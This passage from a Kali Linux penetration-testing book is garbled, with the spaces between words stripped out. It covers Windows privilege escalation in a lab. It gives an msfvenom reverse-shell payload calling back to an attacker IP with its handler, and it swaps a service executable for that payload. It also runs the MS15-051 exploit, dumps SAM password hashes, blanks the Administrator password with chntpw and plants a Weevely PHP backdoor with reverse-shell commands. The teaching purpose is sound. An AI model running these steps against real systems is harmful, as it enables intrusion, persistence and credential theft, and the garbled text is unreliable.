Ifthecorrectpasswordwasfartherdownthepasswordlist,itwouldhavetakenlonger:
AddingatooltothemainmenuinKali2.xYoumightwanttoknowhowtocustomizeyourmainApplicationsmenu,sohereitis.
Installthealacartetool:
apt-getinstallalacarte
Nowyourmenuhasanewentry–Usualapplications|Accessories|MainMenu:
TheMainMenudialogshowsyouthelistofthefirst-rankmenuitems.Inthisexample,wearegoingtoputthexHydratoolintothemenustructure,sodothefollowing:
1. Highlightthe05-PasswordAttacksmenuheader.
2. ClicktheNewItembutton.Thisopensanotherdialogasshowninthefollowing:
3. Addthelabelforthenewentry.4. Putinthefullpathtothetool.5. Optionally,addacommentthatwillshowasaTool-Tipwhenyoumouse
overthetool.6. ClicktheOKbutton:
7. Clickontheboxintheupper-leftcornerofthedialogtoadd(orchange)theiconforthetoolfrom/usr/share/iconsandanyofthethemediconsets:
Youmightwanttolookattheiconsthroughthefilesystemratherthanthroughtheinsertimagedialog,asthedialogdoesnotshowyouwhattheimageslooklike.
SummaryInthischapter,yougottousethreenewtoolsforpasswordcracking,andalsolearnedhowtoaddanewitemtothemainmenu.Johnny,andhisprogenitor,JohntheRipper,arethemostpopulartoolsyoucanfindonKaliforcrackinghashesonthelocalmachine,soyouwillprobablychooseoneofthesetwotoolswhenyouaretestingyourusers'passworddecisions.
HydrahasmanymoreoptionsthanbasicJohn-basedtools,butwiththeimprovedpowercomesincreasedcomplexity.Hydraisdesignedtoattackspecificdevicesoverthewire,butasyoudiscovered,theattacksurfaceisverysmallandthetoolisverynoisy.
Thefinalbonuswasmorecustomizinghelp.NowyouknowhowtoadditemstothemainmenutomakeKaliLinuxyourown.
Inthenextchapter,wewillshowyouhowtoachieveandmaintainelevatedprivilegeinWindowsdevices.Thisisbyfarthemostcommonapproachtoattacksbycyber-criminals.Theaverageattackergainsaccessandmaintainsapresenceinthetargetnetworkfor90daysormore.
Chapter7.WindowsPrivilegeEscalationPrivilegeescalationistheprocessofincreasingthelevelofaccesstoamachineoranetwork.Technically,itcouldbesaidthatanyexploitthatgainsaccesstoasystemisescalatingtheprivilegesoftheattacker.ComingfromnoaccesstoUseraccessisescalatingtheprivilegesoftheattacker,butnormallythistermisusedforexploitsgainingeitherrootorSYSTEMaccess.InHackerterms,TotalPwnage.Thisistheultimategoalofanattacker.Oncethislevelofaccessisgained,alldataandcontrolofthesystemisnowunderyourcontrol.Stealingdataand/orconfidentialinformationisnowjustamatterofcopyingthedataoffthesystem.Younowhavetherights.Inthischapter,wewillcoverthefollowing:
GettingAccesswithMetasploitReplacingExecutableswithMalevolentTwinsLocalPrivilegeEscalationwithaStand-AlonetoolEscalatingPrivilegeswithPhysicalAccessWeaselinginwithWeevely
GainingaccesswithMetasploitMetasploitgivesyouan"EasyButton";it'scalledgetsystem.OnceanexploithasexploitedthesystemandyouhaveaMeterpretershellrunning,thecommandgetsystemwillautomaticallyrunanexploittogainfullSYSTEMlevelaccessofaWindowsmachine.ThisalsoworksonalmostallotheroperatingsystemsoncetheMeterpretershellisimplemented.Metasploitwillruntherightexploitofthatoperatingsystemtogainfullaccess.Wehaveseentheuseofthiscommandinearlierchaptersofthisbook.Wewillcoverthedetailsofthiscommandalittlemorehere.
WearegoingtouseanEasyFTPexploittogainaccess.Asweallknow,someapplicationsmustberunundertheAdministratoraccountinorderfortheapplicationtorun.ThisisalsoagooddemonstrationofwhyapplicationsshouldneverrunundertheAdministratoraccount.WearegoingtoexploitthesystemwithaknownDomainUserAccountnamedrred.Therredaccountisanormaldomainaccountwithrightsthatanynormaldomainuserwouldhave.Usingthisservice,hehasread/writeaccesstotheEasyFTPserviceandtheFTPdirectory.TheEasyFTPserviceisdoingaRunAsAdministrator.Inthefollowingscreenshot,weseetheexploitrunningandexploitingthesystemusingtherredaccount:
Afterexploitingthesystem,werunthefollowingcommand:
sysinfo
Thisshowswehaveasuccessfulcompromiseandliststhesysteminformation.
Next,runthefollowingcommand:
getuid
Thisshowstheaccounttheexploitedisrunningunderandtherightsyouhavewiththeexploit.Wecanseewehaveadministratorrights.WewantfullSYSTEMaccess,sothenrunthefollowingcommand:
getsystem
ThiselevatesyourrightstoSYSTEM.Youcanseethisbyrunningthegetuidcommandagain:
Wenowhaveafullycompromisedmachine.
ReplacingtheexecutableTherearemanyfiletypesthattheWindowsOperatingSystemstreatasexecutable.ThefollowingtableisapartiallistofWindows/DOSexecutablefilesandextensionsthatwindowstreatsasanexecutableifthereisexecutablecodewrittenintoit:
Extension Extension Extension Extension Extension Extension
a6p dbr ime msi pyzw sxx
accde dll INF1 msp qpx tlcp
aex dsp INS mst r trs
agt elf int ndr REG VB
aif exe INX nt RGS VBE
air exe1 ISU paf.exe rpm vbs
apk exp jar PDF rtl VBS
app fmx jax pe run VBSCRIPT
appref-ms fox JOB pgm rxe wgt
appx fpx js pif ryb widget
bas fqy JSE PIF s2a wiz
bat frm jse pl scr WS
btm fxp kmd prg SCT wsf
c gadget le prx self wsh
cac gambas lnk PS1 shb wwe
cmd gpu mex pwz SHB xap
com hta mexw32 pyd shs xip
CPL ifs msc pyz sko xlnk
WearemostusedtothinkingabouttheEXEasaprogramfile,butyoumaynothaveheardofmanyofthese.Mostofthemcouldbeusedasanattackvector.Youhaveundoubtedlyseen(andsentout)noticeswarningusersofpotentiallydangerousEXE,PIF,SCR,andPDFfiles.Withthemodelofexploitwearegoingtodemonstratehere,thetwomostlikelyfiletypestoexploitaretheDLLandtheEXE.
IfyoucanreplaceastandardDLLfilewithaspeciallycraftedDLL,youcanhideyourmalwareinplainsight.Youhaveprobablyseendependencyproblemswhenyouupdateaprogram,anditincludesanewlegitimateversionofaparticularDLL.Thenewprogramworksgreat,butsomeolderapplicationfailswiththeerrorWBDOOS.DLLnotfound.YouhavetohuntallovertofindacopyoftheDLLthatworkswithbothapplications.CVE-2016-0016isanexploitthatloadsaspecialDLLfile.Thisallowselevationofprivilege.Itworkswithmostun-patchedWindowsversions.MakesureyouhavepatchedyourserversforMS16-007.
Nowlet'sdothiswithanEXE.Sometimesanapplicationcanbeexploitedbecauseofbadfilepermissions.Thiscanbeduetolackofsecurityduringtheinstallationprocessoramisconfigurationbytheuserinstallingtheapplication.Allsysadminshaveseenanerrantapplicationwhereyoumustplaywiththefilepermissionsinordertogettheapplicationtorun.ThiswillshowthedangersofbadfilepermissionsandrunningservicesandapplicationsasAdministrator.Forthedemo,wehavebrokentheEasyFTPservice.
Tip
Disclamer:
Asstated,wehavebrokenthesecurityonEasyFTP.Thesettingsbeingusedarenotthenormalsettingsfoundduringanormalinstallationofthisservice.ThisdemonstrationisnotareflectionofthequalityofEasyFTPoritsdevelopers.However,itshouldbenotedthatthisflawcanbefoundwithalotofdifferent
However,itshouldbenotedthatthisflawcanbefoundwithalotofdifferentapplications.
Loggedintotheserverbo-srv2.boweaver.netasrred,anormaluser,wecanrunthetoolicacls.exeagainsttheEasyFTPexecutabletoseethefilepermissionsonthefile:
icaclsftpbasicsvr.exe
Inthefollowing,weseethattheEveryonegrouphasfullaccesstothefile.Thismeanswecanwriteoverthefilewithamaliciouspayload.Byoverwritingthisfilewhentheserviceorthesystemisrestarted,ourpayloadwillrun:
Firstwewillneedapayload.PayloadscanbefoundatOffensiveSecurity'sexploitsite,http://www.exploit-db.com.YoucanalsobuildyourownpayloadusingMetasploit'smsfvenom.
Tip
Warning!
BeverycarefulofpayloadsdownloadedfromtheInternet.OnlyusepayloadsandexploitsthatcomefromaknownandtrustedsourcesuchasOffensiveSecurity'sexploit-db.Evenifthecodecomesfromasourceyoutrust,alwaysreviewthesourcecodetobesuretheexploitisnotdoingsomethingyoudon'twanttohappen.
Forthiswearegoingtousemsfvenomtobuildapayload.Youwillalsoseethisinthenextchapter.Payloadsareimportanttoolsinpentesting.Remember,thisisthewaythebadguysdoit.
Wewillgetmorein-depthinthenextchapterusingmsfvenom.Still,forthis
demonstration,westillneedtoknowtheflagstousetobuildourpayload:
Usage:/opt/metasploit/apps/pro/msf3/msfvenom[options]<var=val>
Options:
-p,--payload<payload>Payloadtouse.Specifya'-'
orstdintousecustompayloads
-l,--list[module_type]Listamoduletypeexample:
payloads,encoders,nops,all
-n,--nopsled<length>Prependanopsledof[length]
sizeontothepayload
-f,--format<format>Outputformat(use--help-
formatsforalist)
-e,--encoder[encoder]Theencodertouse
-a,--arch<architecture>Thearchitecturetouse
--platform<platform>Theplatformofthepayload
-s,--space<length>Themaximumsizeofthe
resultingpayload
-b,--bad-chars<list>Thelistofcharactersto
avoidexample:'\x00\xff'
-i,--iterations<count>Thenumberoftimestoencode
thepayload
-c,--add-code<path>Specifyanadditionalwin32
shellcodefiletoinclude
-x,--template<path>Specifyacustomexecutable
filetouseasatemplate
-k,--keepPreservethetemplate
behaviourandinjectthepayloadasanewthread
-o,--optionsListthepayload'sstandard
options
-h,--helpShowthismessage
--help-formatsListavailableformats
Webuildtheexploitbyrunningthefollowingcommand:
msfvenom-ax86–platformwindows-p
windows/meterpreter/reverse_httpsLHOST=192.168.204.128LPORT=443
-fexe-osvchost13.exe
The-aflagsetsupthearchitecture,whichisx86.The–platformflagwillsettheoperatingsystem,whichisWindows.The-pflagwillsetthetypeofpayloadtouse.Wewillalsoaddtheattacker'smachineIPaddressandtheListeningporttoconnectto.Here,weareusingport443.Wearegoingtouseareversehttpsconnectiontoconnecttoourattacker'smachine.The-fflagisthefiletypetowriteto.Here,itisexe.Lastly,the-oflagdirectsvenomtowriteouttothefilenameftpbasicsvr.exe,whichisthefilenamewe'regoingtoreplace:
Wenowhaveamaliciouspayload.Didn'tyoualwayswanttobemalicioussometime?Here'syourbigchance!
WeneedtoputthefileontheKaliattackingmachine,wheretheusercancopyittothevictimmachine.SoopenNautilus,right-click,andcopy:
ThenclickontheFileSystemicon,goto/var/wwwdirectory,andright-click
andpastethefile:
ServicesarenotsettoautostartonKali,andforgoodreason.Inahostileenvironment,anyopenlisteningportcanbeavulnerabilityforanotherhackertoexploit.WewillneedtostarttheApachewebservice.Runthefollowingcommand:
serviceapache2start
Thefileisreadytoserveup.Itisagoodideatousethehttporhttpsservicesforexchangingfiles.Theseservicesareprettymuchallowedonallsystems,becausethesearetheprotocolsusedtoupdatedthesystems.Attempted(orsuccessful)connectionstoprotocolssuchasFTP,SSH,ornon-standardports,maybedetectedorblockedbynetworkmonitoringdevices.
Next,weneedtofireupthehandlertowhichthepayloadcanconnect.Fromthemsfconsoleprompt,runthefollowing:
useexploit/multi/handler
setPAYLOADwindows/meterpreter/reverse_https
setLHOST192.168.204.128
setLPORT443
Thenrunthefollowingcommand:
exploit
Thiswillopentheportandbeginlisteningonport443toreceivethevictimmachine'scallhome:
Next,fromthevictimmachine,openyourwebbrowserofchoice,andgetthefilefromtheattackingmachinebygoingtohttp://192.168.204.128/ftpbasicsvr.exe.Yourbrowsermaycomplainaboutdownloadinganexecutable,butjustchangethesecuritysettings,anddownloadthefile.Thisisabitnoisy,andamachinethathasanArcSightclientwillregisterthatyouaremakingthesechangesasaSYSTEMuser:
Next,savethefile:
NextwepastethefiletotheEasyFTPworkingdirectory.Itwillpromptyouforwhattodo.ClickontheCopyandReplace.Thefileisnowreplacedwithyourpayload:
Oncetheserviceisrestartedorthesystemisrebooted,thereplacedmaliciouspayloadwillstartandconnecttothewaitingattackingmachine:
LocalprivilegeescalationwithastandalonetoolAsdiscussedearlier,Exploit-dbisagreatplacetogetstandalonetoolsforvariousvulnerabilities.ThemostimportantpointtousingExploit-dbisthatitisatrustedsourceforthesetools.Exploit-dbisrunbyourfriendsatOffensiveSecurity,whobringyouKaliLinux.Allexploitsfoundherehavebeenvettedtoperformasexpectedandnotdoanydamagethatisnotexpected.ThedatabaseisalsoincludedlocallyinKali.Allexploitscanbefoundlocatedin/usr/share/exploitdb.Kalialsoincludesasearchtooltofindyourlocally-storedtool.ThereisalsoabuiltinlinktotheExploit-dbwebsiteinIceWeasel.
TousetheinformationlocallyonKalitofindalocalprivilegeescalationtool,runthefollowingcommand:
searchsploit"localprivilegeescalation"
Wegetalist,asseenhere:
Inthisdemonstration,wearegoingtouseanexploitthathasbeenusedasazero-dayattackagainstanationstateinthepast.ThistoolwaspartofapackagetoexploitsystemsthroughaninfectedPDFfile.ThefilewasinfectedwithanAdobevulnerability,whichthenallowedthiscodetorunandgainprivilegeescalationonthemachine.ThisexploitstheWindowsvulnerabilityMS15-951,whichallowslocalprivilegeescalationthroughthekernelmodedrivers.Tofindthisusingsearchsploit,runthefollowingcommand:
searchsploitms15-051
Let'slookatthefile:
cat/usr/share/exploitdb/platforms/windows/local/37049.txt
Forthisexploit,thereisapre-builtexecutabletodownload.Notethattherearetwotypes;onefor32bit,andonefor64bit.Chooseaccordinglyanddownloadthefile.Forourusehere,wearegoingtousethe32-bitfile.Oncedownloaded,movethefileto/var/wwwandstartApachewiththefollowingcommand:
serviceapache2start
Besuretoshutdowntheservicewhenyoucompletethetransferbyusingthefollowingcommand:
serviceapache2stop
Usingthenormaluseraccountthatwehavecompromisedearlier,weloginasrred.Thenweconnecttoourattacker'smachine'swebserviceanddownloadourfile:
Oncethefileisdownloaded,openaPowerShellwindow.Whenwerunthecommandwhoami,weseetheuserislab1\rred:
Moveintothedirectorywherethefilewasdownloaded.Hereitisinthedownloadsdirectory.Onceinthedirectory,runthefollowingcommand:
Taihou32.exe
Whentheexploitruns,wegetacommand-linewindowwitharunningprompt.Byrunningthewhoamicommandagaininthiswindow,wecanseewearerunningasntauthority,thehighestlevelofprivilege–evenhigherthantheAdministratoraccount.Fromthiswindow,wehavefullcontroloverthesystemtodoaswelike.
EscalatingprivilegeswithphysicalaccessWhilewritingthischapter,Bogotgivenachorebyafriend,whereheneededSYSTEMaccesstotheirlaptop.TheyhadgottenacallfromasocialengineerwhotoldthemhewasfromMicrosoft,andthatthefriendhadaproblemontheircomputer.ThepitchwasthattheMicrosoftengineerhadgottentonoticesomehowthatthefriend'sPCwasinfected,andthe"Microsoftengineer"wastheretohelp.Afterdestroyingfilesonthelaptop,theythenlockedthesystemwithapassword,andlockedoutalltheaccountsexcepttheonethatwasusedduringtheexploit.Theydemanded$199.00forthepassword.Evenasmartandknowledgeablepersoncanbecaughtbyagoodsocialengineeringcon.Thisshowsthepowerofsocialengineeringandalsoprovespeoplearetheweakestlinkinsecurity.Wehavegottenpeople'spasswordsbyjustasking,whenweweredoingsocialengineeringtestsofsecurityawarenessatvariouscompanies.
Asexplained,thesystemislockedbyanapplicationthatlaunchesonbootandrunsbeforethesystemisfullystarted.Wehavenoaccesstothemachineatthispoint.Sincethemachinehasbeencompromised,weknowthattobefullysureofnofurtherinfection,weneedtonuketheoperatingsystemandre-installit.Weneedtogetridofthemalicioususeraccountsbeforeweattempttoreinstalltheoperatingsystem.Kaliismorethananexploitationtoolkit.Itcanbearecoverytoolkit,anditiseasiertousethanalotofthemoreexpensiverecoverytoolkitsfoundonline.Italsoprotectsyoufromthechancethatsometoolyoufindonlinethatissupposedtobeapassword-recoverytoolisnotitself,buteitheraTrojanorinfectedwitharootkit.Thatwouldmakeyourjobharderthanitisalready.
MeetBo'slittlefriend,Tux.ThisisaUSBdrivethathasKaliLinuxinstalled.Itisausefultoolfortherecoveryofpasswords,asweareabouttodo.Lookout,though.Thispenguinbites!
Togetintothesystem,wewillbootoffoftheUSBdrive.Thiscanbeaheadache,fightingwiththeUEFIsecurebootonnewermachines.UEFIdoesn'treallysecureanything;itjustgetsinthewaywhenbootingorinstallinganyoperatingsystemotherthanWindows.Howtodothisdependsonthelaptopmanufacturer.Youwillwanttosetittobootfromlegacydevices.OncetheBiOSisset,usethesystem'sbootmenutobootfromtheUSB.
Oncethesystemisbooted,openthefilemanagerandyouwillseethatthefilemanagershowstwonewdrivesWindowsandWinRE.TheWindowsdrivewillbeyourC:\driveofthelaptop.TheWinREistherecoverydrive.Sadly,youshouldbeabletorestorefromthisdrive,butthenormaluserdoesn'tsetthisup,andWindowsdoesn'tautomaticallysetuparecoveryofthesystem.Inthiscase,asisusual,recoveryfromthisisnohelp.ByclickingontheWindowsdrive,wecanseethefullcontentsofthelaptop'sdrivewithfullSYSTEMaccesstothesefiles.Wecannowcopytheuser'sfilesfromthisdrivetoanotherdrivetosavetheuser'sdata.SojustbybootingfromtheKaliUSB,wehavefully-elevatedprivilegestothemachinetocopyfilesandaswewillsee,getpasswordhashesandactuallychangetheregistrysettings.
RobbingtheHiveswithsamdump2
Samdump2isatooltoobtainpasswordhasheswithaccesstotheregistryhives.WithWindowsnotrunning,thesehivesarenotlocked,soreadingandwritingtothesehivesistrivialwiththelevelofaccesswehave.Withthedrivemountedthisway,theregistryhivesarelocatedinthe/media/root/Windows/Windows/System32/config/directory.Youmustusethefulldirectorytreewhenrunningsamdump2.Goingtothedirectoryandtryingtorunsamdump2directlytothefilewillfail.Wewillneedtousetwoofthehives:boththeSYSTEMandSAMhives.
Runningsamdump2withnooptions,orusingthe-hflag,willgiveyoutheoptionsweseeinthefollowing.Samdump2hasbutthreeoptions:
-hrunsthehelp-drunsthedump-ofilewritestheoutputtothenamedfile:
So,weneedtorunthefollowingcommand:
samdump2-d
/media/root/usbdisk/Windows/Windows/System32/config/SYSTEM
/media/root/usbdisk/Windows/Windows/System32/config/SAM
Wegetthefollowingoutput.NotethatRootKeylistsCsiTool-CreateHivewithazeroedoutIDnumber.Thisisfromthecompromiseofthesystemandshowsthewholeregistryiscompromised.TheCsiToolisatoolkitthatisnormallyusedforfixingsystems;butasyoucansee,toolsthatcanfixcanalsobeusedto
destroy:
RootKey:CsiTool-CreateHive-{00000000-0000-0000-0000-
000000000000}
DefaultControlSet:001
*********CsiTool-CreateHive-{00000000-0000-0000-0000-
000000000000}\ControlSet001\Control\Lsa\JD*********
n->classname_len=16b=339ea44
*********CsiTool-CreateHive-{00000000-0000-0000-0000-
000000000000}\ControlSet001\Control\Lsa\Skew1*********
n->classname_len=16b=339ea7c
*********CsiTool-CreateHive-{00000000-0000-0000-0000-
000000000000}\ControlSet001\Control\Lsa\GBG*********
n->classname_len=16b=339ead4
*********CsiTool-CreateHive-{00000000-0000-0000-0000-
000000000000}\ControlSet001\Control\Lsa\Data*********
n->classname_len=16b=339eb14
Bootkeyunsorted:9d93e73af06c13e1378a679b822938f3
RootKey:CsiTool-CreateHive-{00000000-0000-0000-0000-
000000000000}
Here,thecrackersarechangingtheaccessofthelocaluseraccountsanddisablingallbuttheloggedinuser:
********************1********************
keyname=CsiTool-CreateHive-{00000000-0000-0000-0000-
000000000000}\SAM\Domains\Account\Users\000001F4
disabled=1
usernamelen=13,off=188
lm_hashoffset=230,lm_size=4
nt_hashoffset=234,nt_size=14
f50f9419a42269f7cf0ee92704e49671
********************2********************
keyname=CsiTool-CreateHive-{00000000-0000-0000-0000-
000000000000}\SAM\Domains\Account\Users\000001F5
disabled=1
usernamelen=5,off=17c
lm_hashoffset=200,lm_size=4
nt_hashoffset=204,nt_size=4
********************3********************
keyname=CsiTool-CreateHive-{00000000-0000-0000-0000-
000000000000}\SAM\Domains\Account\Users\000003E9
disabled=0
usernamelen=7,off=188
lm_hashoffset=1c4,lm_size=4
nt_hashoffset=1c8,nt_size=14
624107d6d19f48b32135d7757a8c25d4
Here,wehaveobtainedthehashesofthelocalaccounts,andwecanseeallaredisabledexceptfortheuseronelove.Thesehashescouldbepulledintoafile,andatoolsuchasJohnnycanbeusedtocrackthehashes:
********************-1********************
*disabled*
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ae9ff10431056885
06c9762a0fced32f:::
*disabled*
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7
e0c089c0:::
onelove:1001:aad3b435b51404eeaad3b435b51404ee:9c0f3e5fea832931e493f
7beb9e391d7:::
root@kali:~#
Owningtheregistrywithchntpw
Chntpw(changeNTpassword)isacommand-linetoolthatwillnotonlychangeusersettings,includingthepassword,butcanalsoeditregistrysettingsinanyconnectedhive.Withthistool,youmustusethefullpathtothehives.Thefollowingisacopyofthehelpforthistool:
root@kali:~#chntpw-h
chntpw:changepasswordofauserinaWindowsSAMfile,
orinvokeregistryeditor.Shouldhandleboth32and64bitwindows
and
allversionfromNT3.xtoWin8.1
chntpw[OPTIONS]<samfile>[systemfile][securityfile]
[otherreghive][...]
-hThismessage
-u<user>UsernameorRID(0x3e9forexample)tointeractively
edit
-llistallusersinSAMfileandexit
-iInteractiveMenusystem
-eRegistryeditor.Nowwithfullwritesupport!
-dEnterbufferdebuggerinstead(hexeditor),
-vBealittlemoreverbose(fordebuging)
-LForscripts,writenamesofchangedfilesto
/tmp/changed
-NNoallocationmode.Onlysamelengthoverwrites
possible(verysafemode)
-ENoexpandmode,donotexpandhivefile(safemode)
UsernamescanbegivenasnameorRID(inhexwith0xfirst)
Seereadmefileonhowtogettotheregistryfiles,andwhatthey
are.
Source/binaryfreelydistributableunderGPLv2license.SeeREADME
fordetails.
NOTE:Thisprogramissomewhathackish!Youareonyourown!
AfterbootingfromaKaliUSB,youwillseetheWindowsdriveconnectedintheFileManager.Torunchntpwagainstthehives,youmustusethefullpathtothehives,justasyoudidwithSamdump2.Herewe'regoingtore-enableadisabledaccountandblankoutthepassword,sowewillneedtoaccesstheSAM,SYSTEM,andDEFAULThives.Tobeabletoeditthefullregistry,youwouldneedtomountallthehives.Forourneeds,wearejustgoingtomountthethreeandedittheAdministratoraccount.Sorunthefollowingcommand.Dueto
formattingconstraints,thecommandhereisonfivelines.Youwanttorunallofitonasingleline:
chntpw-uAdministrator-i
/media/root/usbdisk/Windows/Windows/System32/config/SAM
/media/root/usbdisk/Windows/Windows/System32/config/SYSTEM
/media/root/usbdisk/Windows/Windows/System32/config/SECURITY
/media/root/usbdisk/Windows/Windows/System32/config/DEFAULT
You'llseeoutputoftheapplicationmountingthesharesandthenwillseetheinteractivecommandscreen,asfollows:
<>========<>chntpwMainInteractiveMenu<>========<>
Loadedhives:
</media/root/usbdisk/Windows/Windows/System32/config/SAM>
</media/root/usbdisk/Windows/Windows/System32/config/SYSTEM>
</media/root/usbdisk/Windows/Windows/System32/config/SECURITY>
</media/root/usbdisk/Windows/Windows/System32/config/DEFAULT>
1-Edituserdataandpasswords
2-Listgroups
---
9-Registryeditor,nowwithfullwritesupport!
q-Quit(youwillbeaskedifthereissomethingtosave)
Here,weentera1toedittheuserdataandpassword:
Whattodo?[1]->1
=====chntpwEditUserInfo&Passwords====
|RID-|----------Username------------|Admin?|-Lock?--|
|01f4|Administrator|ADMIN|dis/lock|
|01f5|Guest||dis/lock|
|03e9|onelove|ADMIN||
Here,weentertheRIDoftheAdministrator(01f4).Wecanthenseethesettingsforthisaccount.Weseethattheaccountisdisabled.We'llneedtochangethat:
Pleaseenterusernumber(RID)or0toexit:[3e9]01f4
=================USEREDIT====================
RID:0500[01f4]
Username:Administrator
fullname:
comment:Built-inaccountforadministeringthecomputer/domain
homedir:
00000220=Administrators(whichhas2members)
Accountbits:0x0215=
[X]Disabled|[]Homedirreq.|[X]Passwdnotreq.|
[]Temp.duplicate|[X]Normalaccount|[]NMSaccount|
[]Domaintrustac|[]Wkstrustact.|[]Srvtrustact|
[X]Pwddon'texpir|[]Autolockout|[](unknown0x08)|
[](unknown0x10)|[](unknown0x20)|[](unknown0x40)|
Failedlogincount:0,whilemaxtriesis:0
Totallogincount:13
----UserEditMenu:
1-Clear(blank)userpassword
2-Unlockandenableuseraccount[probablylockednow]
3-Promoteuser(makeuseranadministrator)
4-Addusertoagroup
5-Removeuserfromagroup
q-Quiteditinguser,backtouserselect
Next,weenter2tounlocktheaccount:
Select:[q]>2
Unlocked!
=================USEREDIT====================
RID:0500[01f4]
Username:Administrator
fullname:
comment:Built-inaccountforadministeringthecomputer/domain
homedir:
00000220=Administrators(whichhas2members)
Accountbits:0x0214=
[]Disabled|[]Homedirreq.|[X]Passwdnotreq.|
[]Temp.duplicate|[X]Normalaccount|[]NMSaccount|
[]Domaintrustac|[]Wkstrustact.|[]Srvtrustact|
[X]Pwddon'texpir|[]Autolockout|[](unknown0x08)|
[](unknown0x10)|[](unknown0x20)|[](unknown0x40)|
Failedlogincount:0,whilemaxtriesis:0
Totallogincount:13
----UserEditMenu:
1-Clear(blank)userpassword
(2-Unlockandenableuseraccount)[seemsunlockedalready]
3-Promoteuser(makeuseranadministrator)
4-Addusertoagroup
5-Removeuserfromagroup
q-Quiteditinguser,backtouserselect
Next,let'sblankthepasswordbyentering1:
Select:[q]>1
Passwordcleared!
=================USEREDIT====================
RID:0500[01f4]
Username:Administrator
fullname:
comment:Built-inaccountforadministeringthecomputer/domain
homedir:
00000220=Administrators(whichhas2members)
NowweseethattheDisabledfieldinnowunchecked:
Accountbits:0x0214=
[]Disabled|[]Homedirreq.|[X]Passwdnotreq.|
[]Temp.duplicate|[X]Normalaccount|[]NMSaccount|
[]Domaintrustac|[]Wkstrustact.|[]Srvtrustact|
[X]Pwddon'texpir|[]Autolockout|[](unknown0x08)|
[](unknown0x10)|[](unknown0x20)|[](unknown0x40)|
Failedlogincount:0,whilemaxtriesis:0
Totallogincount:13
Inthefollowing,weseethatnoNTMD4orLANMANhashisfound:
**NoNTMD4hashfound.ThisuserprobablyhasaBLANKpassword!
**NoLANMANhashfoundeither.Tryloginwithnopassword!
----UserEditMenu:
1–Clear(blank)userpassword
(2–Unlockandenableuseraccount)[seemsunlockedalready]
3–Promoteuser(makeuseranadministrator)
4–Addusertoagroup
5–Removeuserfromagroup
q–Quiteditinguser,backtouserselect
Select:[q]>
ByenablingtheAdministratoraccount,youcouldthenbypasstheCracker'stools.Still,asyoucansee,thecompromiseoftheregistrywiththeCsiToolevenchangedtherootkeyofthehives,sonowthesystemcannotbetrustedandneedstobereformattedandtheOSreinstalled.
"Theonlywaytobesureittonukeitfromorbit."
Youcanalsousethistoolwhenthesystemadministrator'saccountpasswordhasbeenforgottenandneedstobereset.WehavefoundthistooltobebetterthantheNTcrackbootdiskwehavedependedonforyears.
Inthiscase,westillneedtoretrievetheuser'sfilesbeforenukingthesystem.UsingKali,youhavefullcontrolofthedrive,soyoucanfindtheuser'sfiles.InsertanotheremptyUSBdriveontothesystemandcopytheuser'sfilesfromtheWindowsdriveontotheemptyUSBdriveusingtheFileManager.
WeaselinginwithWeevelyWeevelycreatesaPHPbackdooronwebserversrunningPHP.Itisprettystraightforwardtouse,andprettyeasytogetontoawebserver.YougettoitthroughApplications|PostExploitation|Weevely:
WhenyoufirstlaunchWeevelyfromthemenu,itopensaterminalwindowandgentlychidesyouaboutusingthescriptimproperly:
Thisisactuallyamorehelpfuldocstringthantheweevely--helpcommandgives:
Weknownowthatwecangenerateanagent,whichcanbedroppedonawebserver.Wecanrunaterminaltothetarget,andwecanloadanexistingsessionfile.
PreparingtouseWeevely
WeevelyisaPythonscript,andthereareacoupleofimprovementsyouwillhavetomaketoPythontouseWeevely:
root@kali:~#apt-getinstallpython-piplibyaml-dev
root@kali:~#pipinstallprettytableMakopyamldateutils–upgrade
root@kali:~#pipinstallpysocks--upgrade
Ifyougetinahurryandskipthisstep,youmightgetthefollowingerrormessage:
Creatinganagent
Tocreateanagent,allwehavetodoisdecideonaninnocuousname,andapassword:
WesavemalwarefilesintheirownfolderintheKali/root/directory,sowecanfindthemagainwhenneeded.Abetternameforthisdirectorymightbeasfollows:
TestingWeevelylocally
Weevelyiscross-platform,andshouldworkwhereveryouareservingPHPpages.Here'sanexampleofrunningWeevelyagainstawebserverontheKaliLinuxhost:
TestingWeevelyonaWindowsserver
ItisjustassimpletotestWeevelyonaWindowsserveriftheWindowsserverisrunningPHP–forinstance,ifitisawebserverrunningWordPressorsomeotherPHP-basedscript.TheserverweareusingforthistestisWindowsServer2012withPHPrunning.IfyouwerejustinsidetheWindowsserverusingMetasploit,itispossibletodropourmetrics01.phpfile,madebyWeevely,intothewebrootfolder:
Onceyouhavethefileinplace,youcandoalotofthingswithit.Wehavechosenjustafewactions,thoughtherearefiftycommandsyoumightbeabletodo.First,youcontactyouragentbyusingthefollowingcode:
weevelyhttp://192.168.56.103/metrics01.phpevilHacker
ThesamekindofentrysuccessoutputappearsaswhenwetesteditontheKaliwebserver:
GettinghelpinWeevely
TofindoutwhatWeevelycando,wewillrunthehelpcommandtoseewhatisavailableforyoutorunontheWindowsserver:
weevely>:help
Thehelpfilereadsoutasinthefollowingtable.Notethatthereisacolon":"atthebeginningofeachofthecommands:
Command Description
:audit_suidsgid FindfileswithSUIDorSGIDflags.
:audit_phpconf AuditPHPconfiguration.
:audit_etcpasswd Get/etc/passwdwithdifferenttechniques.
:audit_filesystem Auditsystemfilesforwrongpermissions.
:shell_php ExecutePHPcommands.
:shell_sh ExecuteShellcommands.
:shell_su Elevateprivilegeswithsucommand.
:system_extensions CollectPHPandwebserverextensionlist.
:system_info Collectsysteminformation.
:backdoor_reversetcp ExecuteareverseTCPshell.
:backdoor_tcp SpawnashellonaTCPport.
:bruteforce_sql Brute-forceSQLdatabase.
:file_cd Changecurrentworkingdirectory.
:file_grep Printlinesmatchingapatterninmultiplefiles.
:file_find Findfileswithgivennamesandattributes.
:file_rm Removeremotefile.
:file_cp Copysinglefile.
:file_zip Compressorexpandzipfiles.
:file_enum Checkexistenceandpermissionsofalistofpaths.
:file_check Getremotefileinformation.
:file_edit Editremotefileonalocaleditor.
:file_upload2web UploadfileautomaticallytoawebfolderandgetcorrespondingURL.
:file_gzip Compressorexpandgzipfiles.
:file_download Downloadfiletoremotefilesystem.
:file_touch Changefiletimestamp.
:file_webdownload DownloadURLtothefilesystem.
:file_ls Listdirectorycontent.
:file_read Readremotefilefromtheremotefilesystem.
:file_mount MountremotefilesystemusingHTTPfs.
:file_bzip2 Compressorexpandbzip2files.
:file_tar Compressorexpandtararchives.
:file_upload Uploadfiletoremotefilesystem.
:sql_console ExecuteSQLqueryorrunconsole.
